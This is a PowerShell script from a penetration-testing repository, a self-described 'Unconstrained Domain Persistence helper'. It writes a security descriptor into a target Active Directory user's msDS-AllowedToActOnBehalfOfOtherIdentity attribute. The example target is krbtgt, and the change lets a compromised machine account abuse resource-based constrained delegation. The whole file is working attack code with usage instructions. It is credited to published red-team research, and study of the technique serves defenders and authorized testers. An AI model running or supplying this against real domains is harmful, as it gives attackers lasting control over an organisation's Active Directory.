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mgeeky-Penetration-Testing-.../red-teaming/Set-PrincipalAllowedToDelegateToAccount.ps1
2019-08-22 15:47:01 +02:00

54 lines
2.1 KiB
PowerShell

#
# Unconstrained Domain Persistence helper
#
# Usage:
# PS> . .\Set-PrincipalAllowedToDelegateToAccount.ps1
# PS> Set-PrincipalAllowedToDelegateToAccount -TargetUser krbtgt -DelegateFrom COMPROMISED$
#
# Will allow for COMPROMISED$ account to perform S4U2 constrained delegation by the use
# of Resource-Based Constrained Delegation flavour attack. This account must have any SPN set first.
#
# Script for setting "msDS-AllowedToActOnBehalfOfOtherIdentity" property on the user's object,
# allowing incoming trust to the previously compromised Machine object, as described
# by Elad Shamir in his: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence
#
# It does the same as the following commands:
# PS> Import-Module ActiveDirectory
# PS> Set-ADUser krbtgt -PrincipalAllowedToDelegateToAccount COMPROMISED$
#
# This script requires PowerView to be loaded first.
#
# This is basically rewritten script from Harmj0y's blog post here:
# https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
# all credits goes to magnificent Harmj0y!
#
function Set-PrincipalAllowedToDelegateToAccount
{
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$TargetUser,
[Parameter(Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$DelegateFrom
)
# translate the identity to a security identifier
$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $DelegateFrom).Translate([System.Security.Principal.SecurityIdentifier])).Value
# Substitute the security identifier into the raw SDDL
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))"
# get the binary bytes for the SDDL
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# set new security descriptor for 'msds-allowedtoactonbehalfofotheridentity'
Get-DomainUser $TargetUser | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
}